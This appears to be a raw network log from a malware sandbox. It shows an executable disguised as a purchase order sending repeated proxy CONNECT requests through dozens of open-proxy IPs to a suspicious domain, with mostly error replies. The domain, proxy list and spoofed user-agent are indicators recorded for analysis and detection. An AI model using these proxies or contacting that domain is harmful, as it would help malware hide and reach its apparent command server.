Mar 11, 2024 16:39:45.921098948 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
440	192.168.2.10	51437	104.18.237.128	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.774794102 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.929037094 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
441	192.168.2.10	51371	185.217.143.23	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.823734999 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
442	192.168.2.10	51440	104.16.105.207	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.823744059 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.978355885 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
443	192.168.2.10	50868	51.79.87.144	22500	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.823824883 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.387327909 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.176702023 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
444	192.168.2.10	50712	188.132.222.38	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.823852062 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.988970995 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.082998991 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.176666975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:04.710469961 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
445	192.168.2.10	51420	104.36.166.34	47935	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.824223042 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.387325048 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.176683903 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.489361048 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.083436966 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.786231041 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.489248037 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:01.786158085 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
446	192.168.2.10	51316	58.20.248.139	9002	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.824534893 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
447	192.168.2.10	51372	43.133.136.208	8800	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.824536085 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
448	192.168.2.10	51424	194.4.50.61	12334	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.824831009 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
449	192.168.2.10	51467	172.67.182.165	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.824944019 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.979171038 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
450	192.168.2.10	51410	211.222.252.187	8193	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.824945927 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
451	192.168.2.10	50708	152.32.130.117	18080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.825591087 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
452	192.168.2.10	51395	39.105.5.126	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.828409910 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
453	192.168.2.10	51398	186.124.164.213	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.831212044 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
454	192.168.2.10	51391	91.202.230.219	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.832405090 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
455	192.168.2.10	51407	212.31.100.138	4153	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.839638948 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
456	192.168.2.10	51379	103.118.44.136	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.842293978 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
457	192.168.2.10	51421	68.1.210.163	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.842564106 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
458	192.168.2.10	51422	24.249.199.4	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.843811989 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
459	192.168.2.10	51492	185.162.230.178	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.857028008 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.011745930 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
460	192.168.2.10	51496	185.162.231.226	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.861751080 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.015963078 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
461	192.168.2.10	50811	115.96.208.124	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.898231030 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.303215027 CET	72	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
462	192.168.2.10	51428	72.210.221.197	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.898507118 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
463	192.168.2.10	50433	199.58.185.9	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.898890018 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
464	192.168.2.10	51466	45.196.151.134	5432	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.899070978 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.115808010 CET	308	IN	HTTP/1.1 407 Proxy Authentication Required Server: FaaS v1.3-20220203-7fa38bd5af Date: Mon, 11 Mar 2024 15:39:46 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 65 Proxy-Authenticate: Basic realm="Proxy" Connection: close Data Raw: 48 54 54 50 20 61 75 74 68 6f 72 69 7a 61 74 69 6f 6e 20 65 72 72 6f 72 3a 20 69 70 20 61 75 74 68 20 66 61 69 6c 65 64 2c 20 6e 6f 20 63 72 65 64 65 6e 74 69 61 6c 73 20 70 72 6f 76 69 64 65 64 Data Ascii: HTTP authorization error: ip auth failed, no credentials provided

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
465	192.168.2.10	50878	122.116.150.2	9000	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.899408102 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
466	192.168.2.10	51507	172.67.219.60	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.899406910 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.053625107 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
467	192.168.2.10	51509	172.67.3.108	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.899682045 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
